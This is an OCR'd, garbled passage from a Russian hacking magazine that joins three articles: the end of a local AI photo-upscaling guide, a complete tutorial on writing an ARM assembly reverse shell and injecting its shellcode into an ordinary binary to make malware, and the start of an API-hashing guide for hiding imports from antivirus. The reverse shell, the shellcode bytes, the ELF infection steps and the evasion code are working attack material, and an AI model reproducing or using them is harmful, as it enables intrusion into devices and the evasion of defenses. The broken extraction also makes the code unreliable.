обра ботан ных бло ков:

по бегут

 
 
 
[W NNPACK.cpp:64] Could not initialize NNPACK! Reason: Unsupported 
hardware. 
 

 

 

 

 

 
 

Tile 1/42

Tile 2/42

...

Tile 41/42

Tile 42/42

На пре дуп режде ние, что ини циали зиро вать NNPACK невоз можно, не сто ит
обра щать вни мания, мы ведь зна ем, что у нас нет под ходяще го гра фичес кого
уско рите ля. На компь юте ре без Nvidia CUDA обра бот ка одной фотог рафии
может затянуть ся на нес коль ко десят ков минут. Но ведь работа ет!

Вер немся к коман дной стро ке, запус кающей обра бот ку. Пер вые два
парамет ра прог раммы  ука зыва ют на исходные

матери алы и резуль тат. С помощью парамет ра  зада ется раз мер окна

обра бот ки фраг мента изоб ражения. Если это го не сде лать, то начала обра- 
бот ки мож но и не дож дать ся, потому что пос ле дли тель ного обме на с фай лом
под качки прог рамма сооб щит об ошиб ке. Еще один обя затель ный в спар тан- 
ских усло виях параметр  зас тавля ет исполь зовать 32-бит ные, а не 16-

бит ные дан ные, потому что под дер жка дан ных половин ной дли ны на CPU
не реали зова на. Если его не ука зать, то появит ся сооб щение об ошиб ке:

inference_realesrgan.py
-t

--fp32

 

 
Error "slow_conv2d_cpu" not implemented for 'Half'

Пос ледний параметр , как ты, навер ное, догадал ся, при- 

зыва ет Real-ESRGAN вос поль зовать ся GFPGAN для улуч шения про работ ки
обна ружен ных на фотог рафи ях лиц. Если хочешь, ты можешь обра ботать
фотог рафию толь ко при ложе нием GFPGAN. Оно най дет на фотог рафии лица
людей, вырежет их отту да и поп робу ет сде лать более реалис тичны ми. Коман- 
дная стро ка в этом слу чае будет выг лядеть так:

--face_enhance

cd ~/GAN/GFPGAN 
python3.8 inference_gfpgan.py -i ../in -o ../out 

В выход ном катало ге, помимо фай лов с улуч шенны ми лицами, будут соз даны
фай лы, содер жащие рядом исходный матери ал и резуль тат, что бы мож но
было наг лядно оце нить про делан ную прог раммой работу.

Ес ли тебе лень набирать коман ды вруч ную,
можешь взять сце нарии обо лоч ки 
и . Помес ти их в каталог 
и исполь зуй так:

gfpgan.sh
resrgan.sh ~/GAN

cd ~/GAN 
out /bin/sh gfpgan.sh in 
out /bin/sh resrgan.sh in 

ÂÛÂÎÄÛ

Итак, мы пос тро или нас тоящий локаль ный ней росете вой фото уве личи тель.
Он ни в коей мере не зависит от внеш них сетевых ресур сов и может работать
на самом обыч ном компь юте ре. Прог рам мное обес печение Real-ESRGAN
и GFPGAN вмес те со сре дой исполне ния Python 3.8 мож но упа ковать и сох- 
ранить на тот слу чай, если понадо бит ся занять ся фотог рафи ями, а прог ресс
вмес те с биб лиоте ками Python ушел впе ред и тре бует новых вычис литель ных
мощ ностей.

Что мож но ска зать о резуль татах работы «фото уве личи теля»? Как ты сам
теперь можешь убе дить ся, качес тво выдава емых им резуль татов в боль шинс- 
тве слу чаев вызыва ет лишь удив ление и вос хищение. Но ког да информа ции
недос таточ но (исходные матери алы низ кого качес тва), ней рон ные сети
начина ют додумы вать отсутс тву ющие эле мен ты, и это при водит к неожи дан- 
ным или даже шокиру ющим эффектам. В таких слу чаях спас ти ситу ацию
может пред варитель ная ретушь исходно го образца, выпол ненная тра дици- 
онны ми метода ми в обыч ных гра фичес ких редак торах. Таким обра зом, новые
тех нологии удач но допол няют хорошо извес тные средс тва и рас ширя ют их
воз можнос ти.

https://devguide.python.org/getting-started/setup-building/
https://github.com/XPixelGroup/BasicSR
https://github.com/xinntao/facexlib
https://github.com/pytorch/pytorch
http://stahlworks.com/swiss-file-knife.html
http://gfpgan.sh/
http://resrgan.sh/
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КОДИНГ

Мно гие зна ют, как соз дать шелл-код
для обыч ных машин с архи тек турой x86.
Про это написа на куча ману алов, ста тей
и книг, но мно гие сов ремен ные девай сы,
вклю чая смар тфо ны и роуте ры, исполь зуют
про цес соры ARM. Я соб рал всю необ- 
ходимую информа цию для под готов ки стен- 
да, написа ния и инъ екции шелл-кода
для устрой ств на ARM.

Все про демонс три рован ные методы при веде ны
в озна коми тель ных и учеб ных целях. Ни редак- 
ция, ни автор статьи не несут ответс твен ности
за прак тичес кое исполь зование этих тех ник.

ARM (Advanced RISC Machine) — это 32-бит ная архи тек тура, раз работан ная
ком пани ей Acorn Computers Ltd в 1983 году. Про цес соры ARM име ют 32-раз- 
рядные регис тры, но из них толь ко 16 дос тупны прог раммис ту. Эти ми 16 так
называ емы ми видимы ми регис тра ми мож но манипу лиро вать с помощью
набора инс трук ций.

Они делят ся на регис тры обще го наз начения и спе циали зиро ван ные.
К пер вым отно сят ся регис тры от  до , к спе циали зиро ван ным — сле- 
дующие:

R0 R10

 — frame pointer (FP);• R11

 — intra-procedure (IP);• R12

 — ука затель на стек (stack pointer, SP);• R13

 — свя зующий регистр (link register, LR);• R14

 — счет чик (program counter, PC). Гру бо говоря, EIP/RIP.• R15

Об ARM мож но почитать на , или в
. Так же име ются пуб ликации об . Про ассем блер под ARM

советую сле дующие кни ги:

сай те, пос вящен ном этим про цес сорам
Ви кипе дии AArch64

;• Ас сем блер для Raspberry Pi. Прак тичес кое руководс тво
;• Экс плу ата ция сис тем ARM Linux

.• Blue Fox: Arm Assembly Internals and Reverse Engineering

ÑÎÇÄÀÍÈÅ ÂÈÐÒÓÀËÜÍÎÉ ÌÀØÈÍÛ Â QEMU

QEMU — это эму лятор раз личных про цес сорных архи тек тур. Как пра вило, он
исполь зует ся для эму ляции целого компь юте ра (то есть для запус ка вир- 
туаль ной машины), одна ко для отладки одной прог раммы это необя затель но.
В Linux мож но исполь зовать эму ляцию QEMU User-Mode, имен но этот спо соб
и будет рас смот рен пер вым.

На ша конеч ная цель — запус кать ском пилиро ван ные прог раммы для ARM
64-bit. Для начала необ ходимо уста новить сам пакет эму лято ра:

sudo apt-get update 
sudo apt-get install qemu qemu-user qemu-user-static 

Для AArch64 уста нав лива ем сле дующие ком понен ты:

apt sudo install gcc-arm-linux-gnueabihf binutils-arm-linux-
gnueabihf binutils-arm-linux-gnueabihf-dbg 

apt sudo install gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu 
binutils-aarch64-linux-gnu-dbg 

Что бы эму лиро вать про цес сор типа ARM64, необ ходимо соз дать две дирек- 
тории —  и : .
Затем перей ти в  и ска чать два фай ла — 

и .

deb11_inst deb11_start mkdir deb11_inst deb11_start
deb11_inst installer-linux

installer-initrd.gz
Для это го исполь зуем сле дующие коман ды:

wget -O installer-linux http://http.us.debian.org/debian/dists/
bullseye/main/installer-arm64/current/images/netboot/debian-
installer/arm64/linux 

wget -O installer-initrd.gz http://http.us.debian.org/debian/dists/
bullseye/main/installer-arm64/current/images/netboot/debian-
installer/arm64/initrd.gz 

Даль ше соз даем диск для уста нов ки на него сис темы:

qemu-img create -f raw hda.img 20G 

Соз даем файл , в него необ ходимо записать сле дующий

скрипт:

instDebARM64.sh

#!/bin/bash
 2G  2 qemu-system-aarch64 -M virt -m -cpu cortex-a53 -smp \

-kernel installer-linux \
-initrd installer-initrd.gz \

 hd -drive if=none,file=hda.img,format=raw,id= \
hd -device virtio-blk-pci,drive= \

-netdev user,id=mynet \
-device virtio-net-pci,netdev=mynet \

on -display gtk,gl= \
-device virtio-gpu-pci \

 -no-reboot \
-device qemu-xhci -device usb-kbd -device usb-tablet 

Здесь
 — эму ляция пол ной сис темы для архи тек туры;• qemu-system-aarch64

 — выбор эму лиру емой машины;• -M

 — объ ем ОЗУ;• -m

 — тип эму лиру емо го про цес сора;• -cpu

 — количес тво вир туаль ных ядер ЦП и их рас пре деле ние по сокетам;• -smp

 — для исполь зования ука зан ного обра за ядра Linux;• -kernel

 — для заг рузки Linux;• -initrd

 и  — опи сание сетевой кар ты и вир туаль ных дис- 
ков;

• netdev/device drive

 — опция ука зыва ет, через интерфейс какого типа под клю чен диск;• if

 — опре деля ет, какой образ исполь зовать для какого дис ка;• file

 — ука зыва ет явным образ фор мат дис ков, не исполь зовать авто- 
опре деле ние;

• format

 — выбор типа отоб ражения, дос тупно , , , ,
;

• -display sdl curses gtk none

vga

 — отме на перезаг рузки.• -no-reboot

Сох раня ем и запус каем скрипт. Нач нется клас сичес кая уста нов ка Debian 11.
На пер вом экра не надо выб рать англий ский язык в качес тве основно го.

Да лее необ ходимо выб рать UNITED STATES. Бли же к завер шению уста нов ки
появит ся ошиб ка.

Вы бира ем Continue и дожида емся окон чания уста нов ки Debian. Перено сим
образ  с уста нов ленной сис темой в дирек торию . Затем
соз даем файл , в который помес тим сле дующий скрипт:

hda.img deb11_start
debARM64.sh

#!/bin/bash
 3G  2 qemu-system-aarch64 -M virt -m -cpu cortex-a53 -smp \

-kernel vmlinuz-5.10.0-8-arm64 \
-initrd initrd.img-5.10.0-8-arm64 \

  -append 'root=/dev/vda2' \
 hd -drive if=none,file=hda.img,format=raw,id= \

hd -device virtio-blk-pci,drive= \
-netdev user,id=mynet \
-device virtio-net-pci,netdev=mynet \

on -display gtk,gl= \
-device virtio-gpu \

 -no-reboot \
-device qemu-xhci -device usb-kbd -device usb-tablet\

Щел каем на соз данном дис ке  пра вой кла вишей мыши и мон тиру ем

его: «Открыть с помощью → Мон тирова ние дис кового обра за». На смон- 
тирован ном дис ке нас инте ресу ют два фай ла: 

и  (ну а в общем слу чае 

 и ). Вер сии сис темы дол жны быть оди нако- 
выми! Запус каем файл :

hda.img

initrd.img-5.10.0-20-arm64
vmlinuz-5.10.0-20-arm64 initrd.img-xxxxxxx-

arm64 vmlinuz-xxxxxxx-arm64
debARM64.sh

./debARM64 

Для нас трой ки сети в скрипт  нуж но добавить строч ку 

. Эта строч ка соз даст еще и SSH-под клю- 
чение.

debARM64.sh -net 
user,hostfwd=tcp::10022-:22

Docker
Есть и аль тер натив ный вари ант: эму ляция Raspberry Pi с исполь зовани ем
Docker. Для это го нуж но уста новить Docker:

sudo apt-get install docker.io 

За тем ска чать соот ветс тву ющий образ:

docker pull lukechilds/dockerpi 

Как толь ко все прог рузит ся, вво дим коман ду

  docker run -it --name имя_для_контейнера -v $HOME/.dockerpi:/sdcard 
lukechilds/dockerpi 

В качес тве  мож но выб рать любое, я назову свой

. Пос ле это го нач нется рас паков ка и запуск Raspberry Pi.

имя_для_контейнера
ap_security

Ито гом успешно го запус ка будет такое окно.

Учет ные дан ные для вхо да в сис тему стан дар тны: . Собс твен но,
всё. Теперь в нашей вир туаль ной лабора тории есть Raspberry Pi. Что бы вык- 
лючить устрой ство, исполь зуй коман ду , а что бы запус тить —

, где  — выб-

ранное тобой имя кон тей нера.

pi:raspberry

sudo poweroff
docker start -ai имя_для_контейнера имя_для_контейнера

Óñòàíîâêà GDB è PEDA/GEF
Ус танов ка GDB и пла гина PEDA доволь но прос та. Для GDB исполь зуем
коман ду

apt gdb sudo install 

Для уста нов ки PEDA коман ды такие:

git clone https://github.com/longld/peda.git ~/peda 
  echo "source ~/peda/peda.py" >> ~/.gdbinit

GEF уста новим коман дой

bash  curl -c "$( -fsSL https://gef.blah.cat/sh)"

От ладку я буду выпол нять в основном в GEF.

ÏÐÎÁÓÅÌ GDB È ÏÈØÅÌ ÏÅÐÂÓÞ ÏÐÎÃÐÀÌÌÓ

Что бы написать прог рамму на ассем бле ре, пот ребу ются три инс тру мен та:
тек сто вый редак тор — nano;•
прог рамма для соз дания объ ектно го фай ла — as;•
прог рамма для динами чес кой при вяз ки — ld.•

Тек сто вый редак тор — это вку сов щина. Мно гие пишут в Vim, мне удоб нее
в nano, поэто му код я буду писать там. Прог рамма as соз дает объ ектный
файл, а ld выпол няет динами чес кую при вяз ку. Работать с эти ми прог рамма ми
нуж но сле дующим обра зом:
1. Пи шем коман ду , которая соз дает объ- 

ектный файл с наз вани ем .
as source.asm -o source.o

source.o

2. Свя зыва ем объ ектный файл и пре обра зуем его в исполня емый с помощью
коман ды .ld source.o -o source.bin

У любого фай ла с кодом на язы ке ассем бле ра дол жна быть точ ка, с которой
начина ется прог рамма. Она выг лядит так:

_start: 

Эта точ ка опре деля ется как гло баль ное имя для всей прог раммы. Каж дый
опе ратор име ет сле дующий син таксис:

<обозначение:> <инструкция> @ комментарий 

Ïåðâàÿ ïðîãðàììà
В пер вой прог рамме, по клас сике, реали зован вывод при ветс твен ной строч- 
ки — :H3ll0, ][akep!

.global _start 

_start: 
   mov r7, #4      @ номер системного вызова
   mov r0, #1      @ вывод - stdout
   mov r2, #13     @ длина строки
   ldr r1, =string @ строка находится на метке string 
   swi 0           @ системный вызов 

   mov r7, #1      @ выход
   swi 0 

.data 
string: 
.ascii "H3ll0, ][akep!\n"

Здесь
 — номер про цеду ры;• r7

 опре деля ет поток ( );• r0 stdin/stdout/stderr

 — количес тво выводи мых сим волов;• r2

 хра нит адрес стро ки.• r1

Все это схо же с ассем бле ром для i386. В ARM регис тры для вза имо дей ствия
такие:

 — номер сис темно го вызова;• r7

 — аргу мент 1;• r0

 — аргу мент 2;• r1

 — аргу мент 3;• r2

 — аргу мент 4;• r3

 — аргу мент 5;• r4

 — аргу мент 6;• r5

 — воз вра щаемое зна чение или код ошиб ки.• r0

Ин форма ция обо всех сис темных вызовах есть в справ ке прог раммы
J0llyTr0LLz. Там же опи сано, что имен но дол жно лежать в регис трах. Ска чать
прог рамму и узнать, как с ней работать, мож но на .GitHub

Ком пилиру ем при ложе ние и запус каем.

as -g proga1.asm -o proga1.o 
ld proga1.o -o proga1.bin 

Здесь  — ключ для вклю чения отла доч ной информа ции. Пос ле запус ка уви- 

дим сле дующее:

-g

 

 

$ file proga1.bin 
proga1.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), 
statically linked, not stripped 
./proga1.bin 
H3ll0, ][akep!

Поп робу ем про деба жить это при ложе ние.

Продолжение статьи →

https://evo.net.ua/ru/shcho-take-protsesor-arm-vse-shcho-vam-potribno-znati/
https://ru.wikipedia.org/wiki/ARM_(%D0%B0%D1%80%D1%85%D0%B8%D1%82%D0%B5%D0%BA%D1%82%D1%83%D1%80%D0%B0)
https://habr.com/ru/companies/embox/articles/463417/
https://bhv.ru/product/assembler-dlya-raspberry-pi-prakticheskoe-rukovodstvo-4-e-izdanie/
https://t.me/S_E_Reborn/3719
https://www.wiley.com/en-us/Blue+Fox:+Arm+Assembly+Internals+and+Reverse+Engineering-p-9781119745303
https://github.com/apsecurity/J0llyTr0LLz_ap_security


ПИШЕМ НА АССЕМБЛЕРЕ СВОЙ РЕВЕРС-
ШЕЛЛ 

ДЛЯ УСТРОЙСТВ НА ARM

КОДИНГ  НАЧАЛО СТАТЬИ←

ÏÅÐÂÛÉ ÎÏÛÒ Â ÎÒËÀÄÊÅ

За пус каем GDB и заг ружа ем в него бинар ный файл, пос ле чего перехо дим
к раз делу :start

 

 

$ gdb 
gef➤  file proga1.bin 
Reading symbols from proga1.bin...done. 
gef➤  disassemble _start 
Dump of assembler code for function _start: 
   0x00010074 <+0>: mov r7, #4 
   0x00010078 <+4>: mov r0, #1 
   0x0001007c <+8>: mov r2, #19 
   0x00010080 <+12>:    ldr r1, [pc, #8]    ; 0x10090 <_start+28> 
   0x00010084 <+16>:    svc 0x00000000 
   0x00010088 <+20>:    mov r7, #1 
   0x0001008c <+24>:    svc 0x00000000 
   0x00010090 <+28>:    muleq   r2, r4, r0 
End of assembler dump.

Пос тавим точ ку оста нова на пер вой инс трук ции и запус тим прог рамму:

 

 

b *_start 
r

Ок но отладки GDB-GEF выг лядит так.

Шпар галку по GDB-коман дам мож но най ти в 
.

до кумен тации, опуб ликован ной
на сай те Darkdust

На пер вом шаге все обну лено:

$r0  : 0x0 
$r1  : 0x0 
$r2  : 0x0 
$r3  : 0x0 
$r4  : 0x0 
$r5  : 0x0 
$r6  : 0x0 
$r7  : 0x0 
$r8  : 0x0 
$r9  : 0x0 
$r10 : 0x0 
$r11 : 0x0 
$r12 : 0x0 
$sp  : 0xbefffce0  →  0x00000001 
$lr  : 0x0 
$pc  : 0x00010074  →  <_start+0> mov r7,  #4 
$cpsr: [negative zero carry overflow interrupt fast thumb] 

С исполь зовани ем коман ды  перей дем сра зу к сис темно му вызову. Если

пос ле коман ды, которую мы вве ли, нажать , то коман да выпол нится пов- 

торно.

ni
Enter

Смот рим, что у нас в регис трах:

$r0  : 0x1 
$r1  : 0x00020094  →  <string+0> stclvs 3,  cr3,  [r12],  #-288   ; 
0xfffffee0 
$r2  : 0x13 
$r3  : 0x0 
$r4  : 0x0 
$r5  : 0x0 
$r6  : 0x0 
$r7  : 0x4 
$r8  : 0x0 
$r9  : 0x0 
$r10 : 0x0 
$r11 : 0x0 
$r12 : 0x0 
$sp  : 0xbefffce0  →  0x00000001 
$lr  : 0x0 
$pc  : 0x00010084  →  <_start+16> svc 0x00000000 
$cpsr: [negative zero carry overflow interrupt fast thumb] 

Как мож но заметить, вез де лежат нуж ные нам зна чения. Пос мотрим, что хра- 
нит ся в регис тре .r1

 

 

gef➤  x/s 0x00020094 
0x20094:    "H3ll0, ][akep!\nA\021"

Прой дем даль ше и най дем вывод сооб щения:

 

 

gef➤ n 
H3ll0, ][akep!

От лично! Сооб щение вывелось. Нас тало вре мя боевой прак тики.

ÏÈØÅÌ ÐÅÂÅÐÑ-ØÅËË

Для написа ния реверс-шел ла нам понадо бят ся сле дующие сис темные
вызовы:

 — для соз дания сер вера;• socket

 — для под клю чения к жер тве;• connect

 — для копиро вания ;• dup2 stdin/stdout/stderr

 — для запус ка .• execve /bin/sh

В общем, ничего необыч ного, все стан дар тно. Необ ходимые сис темные
вызовы я буду под смат ривать в прог рамме J0llyTr0LLz.

Для  = :socket(PF_INET, SOCK_STREAM, 0) socket(2, 1, 0)
1. В регис тре  будет лежать зна чение .r7 0x119

2. В регис тре  зна чение 2, потому что мы исполь зуем , семей ство
про токо лов IP.

r0 PF_INET

3. В регис тре  находит ся 1 — ( ).r1 SOCK_STREAM TCP

Пер вая часть кода получит ся такой:

.global _start 

_start: 

   mov r0, #2
   mov r1, #1
   sub r2, r2 
   mov r7, #200
   add r7, #81
   swi 0 @ socket(2, 1, 0)

   mov r4, r0 

В регистр  будет сох ранен сокет-дес крип тор. Для его сох ранения прос то
переда дим его в какой-нибудь дру гой регистр, что бы потом сно ва им вос- 
поль зовать ся. Я выб рал регистр .

r0

r4
Те перь нуж но опи сать фун кцию 

. С помощью J0llyTr0LLz опре деля ем номер сис темно го вызова:
connect(sockid, sockaddr *addr, 

addrlen)
 = ;• r7 0x11b

 =  = ;• r0 sockid r4

 = ;• r1 &sockaddr

 = .• r2 16

Здесь  — струк тура, в которой будет содер жать ся порт, IP-адрес

и исполь зуемый про токол. В нашем слу чае это TCP.

sockaddr

struct: 
.ascii "\x02\xff" @ AF_INET 
.ascii "\x11\x5c" @ port = 4444 
.byte xxx,xxx,xxx,xxx @ IP address 

В ито ге получа ем такой фраг мент кода:

   mov r4, r0 
   adr r1, struct 
   mov r2, #16  @ struct length
   add r7, #2   @ 281 + 2
   swi 0 

struct: 
.ascii "\x02\xff" @ AF_INET 
.ascii "\x11\x5c" @ port = 4444 
.byte xxx,xxx,xxx,xxx @ IP address 

Ко ман да  получа ет какой-либо адрес, в ассем бле ре i386 есть ана логич- 

ная инс трук ция .

adr
lea

Дли на счи тает ся так: 2 бай та — порт, 2 бай та — , 4 бай та — IP-
адрес и 8 байт — пад динг. Поэто му в регистр  будет положе но чис ло 16.

Регистр  никак не изме нил ся с момен та пос ледне го вызова, поэто му мы

прос то при бав ляем 2.

AF_INET
r2

r7

Да лее сле дует конс трук ция .

Номер сис темно го вызова  равен . Зна чение  хра нит ся

в регис тре ,  рав ны  соот ветс твен но. Получа ем
сле дующее:

dup2(sockid, stdin/stdout/stderr)
dup2() 0x3f sockid

r4 stdin/stdout/stderr 0/1/2

 = ;• r7 0x3f

 = ;• r0 r4

 = .• r1 0/1/2

Ре али зация это го шага будет выг лядеть таким обра зом:

@ dup2(sockid , 0)
mov r0, r4 @ sockid 
sub r1, r1 @ 0 - stdin 
sub r7, r7 
mov r7, #0x3f @ dup2
swi 0 

@ dup2(sockid , 1)
mov r0, r4 @ sockid 
add r1, #1 @ 1 - stdout
swi 0 

@ dup2(sockid, 2)
mov r0, r4 @ sockid 
add r1, #1 @ 2 - stderr
swi 0 

Пос ледний шаг: получа ем шелл. Тут, в прин ципе, клас сика: 

. В сек ции дан ных про пишем сле дующую стро ку:

execve("/bin/
sh", 0, 0)

binsh: 
.ascii "/bin/sh" 

В  будет находить ся стро ка ,  и  — нулевые, а в  — зна чение

. Таким обра зом, код при мет сле дующий вид:

r0 /bin/sh r1 r2 r7
11

adr   r0, binsh 
sub   r2, r2 
sub   r1, r1 
mov   r7, #11
svc   0 

В ито ге пол ный код выг лядит так:

.global _start 

_start: 

   mov r0, #2
   mov r1, #1
   sub r2, r2 
   mov r7, #200
   add r7, #81
   swi 0 @ socket(2, 1, 0)

   mov r4, r0 
   adr r1, struct 
   mov r2, #16  @ struct length
   add r7, #2   @ 281 + 2
   swi 0 

   @ dup2(sockid , 0)
   mov r0, r4 @ sockid 
   sub r1, r1 @ 0 - stdin 
   sub r7, r7 
   mov r7, #0x3f @ dup2
   swi 0 

   @ dup2(sockid , 1)
   mov r0, r4 @ sockid 
   add r1, #1 @ 1 - stdout
   swi 0 

   @ dup2(sockid, 2)
   mov r0, r4 @ sockid 
   add r1, #1 @ 2 - stderr
   swi 0 

    adr   r0, binsh 
    sub   r2, r2 
    sub   r1, r1 
    mov   r7, #11
    svc   0 

struct: 
.ascii "\x02\xff" @ AF_INET 
.ascii "\x11\x5c" @ port = 4444 
.byte xxx,xxx,xxx,xxx @ IP address 

binsh: 
.ascii "/bin/sh"

Ком пилиру ем и про веря ем на каком-нибудь тар гете. На сто роне хакера
откры ваем TCP-под клю чение:

 

 

$ nc -lvnp 444 
Listening on 0.0.0.0 4444

Ком пилиру ем и запус каем при ложе ние у жер твы:

as rs.asm -o rs.o 
ld rs.o -o rs.bin 
./rs.bin 

На сто роне хакера видим сле дующее:

 

 

Connection received on xxx.xxx.xxx.xxx xxxxx 
$ whoami 
whoami 
pi

ÈÍÚÅÊÖÈß ØÅËË-ÊÎÄÀ

Пос ле инъ екции шелл-кода мож но счи тать, что мы соз дали пол ноцен ную мал- 
варь. Для получе ния бай тов шелл-кода спар сим бинарь:

objcopy -O binary rs.bin rs_bytes.bin 

Этой коман дой мы вытащим основную часть бинаря, то есть сам шелл-код:

 

 

$ xxd rs_bytes.bin 
00000000: 0200 a0e3 0110 a0e3 0220 42e0 c870 a0e3  ......... B..p.. 
00000010: 5170 87e2 0100 00ef 0040 a0e1 3410 8fe2  Qp.......@..4... 
00000020: 1020 a0e3 0270 87e2 0100 00ef 0400 a0e1  . ...p.......... 
00000030: 0110 41e0 0770 47e0 3f70 a0e3 0000 00ef  ..A..pG.?p...... 
00000040: 0400 a0e1 0110 81e2 0000 00ef 0400 a0e1  ................ 
00000050: 0110 81e2 0000 00ef 02ff 115c 0a21 4507  ............!E.

За тем выпол ним инъ екцию при помощи прог раммы , опи сание
работы прог раммы ты най дешь на ее стра нице на GitHub.

KillerQueen

На сто роне поль зовате ля мы задей ству ем незамыс ловатую прог рамму:

#include <stdio.h>

 int main()
{
   puts("Hello, ][akep!");
    return 0;
}

Ском пилирую ее в Raspberry Pi:

 

 

$ gcc hello_xakep.c -o hello_xakep.bin -no-pie 
$ file hello_xakep.bin 
hello_xaker.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), 
dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 
3.2.0, BuildID[sha1]=1d0e0528aa357a184a069a0ef77b138b89fed21b, not 
stripped

За пус каем KillerQueen и встав ляем туда сам шелл-код:

0200 a0e3 0110 a0e3 0220 42e0 c870 a0e3 5170 87e2 0100 00ef 0040 
a0e1 3410 8fe21020 a0e3 0270 87e2 0100 00ef 0400 a0e10110 41e0 0770 
47e0 3f70 a0e3 0000 00ef 0400 a0e1 0110 81e2 0000 00ef 0400 a0e1 
0110 81e2 0000 00ef 02ff 115c 0a21 4507 

Да лее заг ружа ем в нее под став ную прог рамму .hello_xakep.bin

Ло ги под твержда ют, что про га заг ружена.

Вы бира ем Tools → ELFInject. Пос ле это го у прог раммы появит ся новая точ ка
вхо да, а мы уви дим сооб щение, что шелл-код инъ екти рован.

Пос мотрим, как это выг лядит в IDA Pro.

Как мож но заметить, здесь теперь рас положе на новая сек ция , и прог- 

рамма пер вым делом зай дет имен но в нее. А там лежит реверс-шелл.

start

За пус каем заражен ную прог рамму на устрой стве жер твы. Хакер тем вре- 
менем открыл под клю чение и получил дос туп к коман дной обо лоч ке:

./hello_xaker.bin 

 

 

$ nc -lvnp 4444 
Connection received on xxx.xxx.xxx.xxx xxxxx 
$ whoami 
whoami 
pi

ÂÛÂÎÄÛ

Мы узна ли, как написать свой реверс-шелл для устрой ства на базе ARM.
Иссле дова ния в области безопас ности ARM-сис тем очень акту аль ны, осо- 
бен но из-за того, что устрой ств на базе этих про цес соров появ ляет ся все
боль ше и боль ше. Безус ловно, опи сан ный в статье экспе римент доволь но
прост, но, как говори ли древ ние муд рецы, дол гий путь начина ется с одно го
шага.

https://darkdust.net/files/GDB%20Cheat%20Sheet.pdf
https://github.com/apsecurity/killer_queen
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КОДИНГ

В этой статье мы с тобой напишем пол- 
ноцен ную пер мутиру ющую реали зацию тех- 
ники API Hashing, что поз волит раз и нав- 
сегда скрыть импорты от глаз анти виру са.
Впер вые тех нику API Hashing я уви дел
в вирусе-шиф роваль щике Revil, проб лема
лишь в том, что хеши от фун кций были впи- 
саны в код, а это поз воля ет лег ко соз давать
сиг натуры. Давай сде лаем так, что бы все
дан ные генери рова лись на лету, тог да
у анти виру са не будет шан сов!

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

В  я рас смот рел вари анты сок рытия IAT путем получе ния
адре сов фун кции и их вызова «нап рямую» через 

и , но проб лема в том, что сами стро ки, содер жащие име- 

на фун кций, никак не спря таны. Поэто му любой ува жающий себя анти вирус- 
ный про дукт все рав но смо жет понять, что мы задума ли.

прош лой статье
LoadLibrary()

GetProcAddress()

Ни какой скрыт ности

Всем понят но, что вызыва ется

Что бы пре дот вра тить это, доб рые хакеры при дума ли тех нику API Hashing,
с которой сей час и поз накомим ся.

ÏÐÎÑÒÅÉØÈÉ API HASHING

Рань ше мы получа ли адрес нуж ной фун кции через кас томный
. Вот как это выг лядит.GetProcAddress()

     FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
      PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
       
 

PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule
+ dosHeader->e_lfanew);
      

 
PIMAGE_EXPORT_DIRECTORY exportDirectory = (

PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
   ntHeaders->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule +
exportDirectory->AddressOfFunctions);
        WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule +
exportDirectory->AddressOfNameOrdinals);
        DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory
->AddressOfNames);
            for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {

     
   

       if (strcmp(lpProcName, (const char*)hModule + addressOfNames[
i]) == 0) {

              return (FARPROC)((BYTE*)hModule + addressOfFunctions[
addressOfNameOrdinals[i]]);
       }
   }
    return NULL;
}

API Hashing зак люча ется в том, что мы вмес то име ни фун кции ( )

будем переда вать хеш от нее. Фак тичес ки изме нит ся лишь сле дующая стро- 
ка.

lpProcName

       if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0
)

И ста нет вот такой:

     
  

if (strcmp(lpProcName, HASH((const char*)hModule + addressOfNames[i])
) == 0)

Ана логич ным обра зом все про исхо дит и с .GetModuleHandle()
Но что это вооб ще за хеш, отку да его взять? Хеш генери рует ся с помощью

кон крет ного алго рит ма хеширо вания, можешь выб рать любой на свой вкус.
При веду нес коль ко при меров.

ÂÛÁÎÐ ÀËÃÎÐÈÒÌÀ

Итак, берем алго ритм Djb2. Это очень быс трый алго ритм хеширо вания.

        hash = ((hash << 5) + hash) + c

 — текущее зна чение хеша;• hash

 — сдвиг впра во;• <<

 — текущее зна чение сим вола в стро ке.• c

Вот фун кция, которая поз воля ет хеширо вать стро ку.

#include <Windows.h>
#include <iostream>

#define INITIAL_HASH    3731 // Для рандомизации
#define INITIAL_SEED    7

// ASCII
   DWORD HashStringDjb2A(_In_ PCHAR String)

{
      ULONG Hash = INITIAL_HASH;
    INT c;
      while (c = *String++)

               Hash = ((Hash << INITIAL_SEED) + Hash) + c;
    return Hash;
}

// Unicode
   DWORD HashStringDjb2W(_In_ PWCHAR String)

{
      ULONG Hash = INITIAL_HASH;
    INT c;

      while (c = *String++)
               Hash = ((Hash << INITIAL_SEED) + Hash) + c;

    return Hash;
}

  int main() {
      LPWSTR str = (LPWSTR)L"HelloWorld";
     std::cout << HashStringDjb2W(str);
    return 0;
}

Те перь давай поп робу ем алго ритм JenkinsOneAtATime32Bit. Он переби рает
сим волы вход ной стро ки и пос тепен но обновля ет хеш-зна чение в соот ветс- 
твии с каж дым получен ным сим волом.

  hash += c;
    hash += (hash << 10);
    hash ^= (hash >> 6);

 — текущее зна чение хеша;• hash

 — текущее зна чение сим вола в стро ке.• c

Код с фун кци ей.

#include <Windows.h>
#include <iostream>

#define INITIAL_SEED    7

